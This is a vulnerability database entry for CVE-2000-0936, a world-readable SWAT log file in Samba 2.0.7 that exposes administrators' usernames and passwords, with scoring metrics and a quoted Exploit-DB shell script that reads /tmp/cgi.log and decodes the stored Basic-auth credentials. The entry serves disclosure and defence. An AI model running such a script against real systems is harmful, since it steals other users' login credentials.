CVE-2000-0936 : Detail

CVE-2000-0936

0.05%V3
Local
2001-01-22
04h00 +00:00
2005-11-02
09h00 +00:00
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CVE Descriptions

Samba Web Administration Tool (SWAT) in Samba 2.0.7 installs the cgi.log logging file with world readable permissions, which allows local users to read sensitive information such as user names and passwords.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20341

Publication date : 2000-10-31 23h00 +00:00
Author : miah
EDB Verified : Yes

source: https://www.securityfocus.com/bid/1874/info The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access. This problem in particular is a permissions problem where users can take advantage of poor permission setting in SWAT's log files to read username and password data which SWAT records for all users which login to remotely administrate the server. If logging is turned on (it is not enabled by default) SWAT it logs by default to: /tmp/cgi.log This file is world readable and contains usernames and passwords which local users may pull from the file (base64 encoded). #!/bin/sh # phear my ugly shell scripting! - miah@uberhax0r.net # grabs username:password from swat cgi.log, then decodes # and outputs the results. clear echo "######################" echo "#checking for cgi.log#" echo "######################" echo if [ -f /tmp/cgi.log ] then echo " - cgi.log found" echo " - extracting logins" echo grep "Basic" /tmp/cgi.log|awk '{print $3}' > /tmp/encoded.cgi.log sort /tmp/encoded.cgi.log > /tmp/encoded.cgi.log.1 uniq /tmp/encoded.cgi.log.1 > /tmp/uniq.cgi.log rm /tmp/encoded.cgi.log* for i in $( cat /tmp/uniq.cgi.log ); do echo $i 012| mmencode -u echo done rm /tmp/uniq.cgi.log else echo " - cgi.log not found!" fi

Products Mentioned

Configuraton 0

Samba>>Samba >> Version 2.0.7

References

http://www.securityfocus.com/bid/1874
Tags : vdb-entry, x_refsource_BID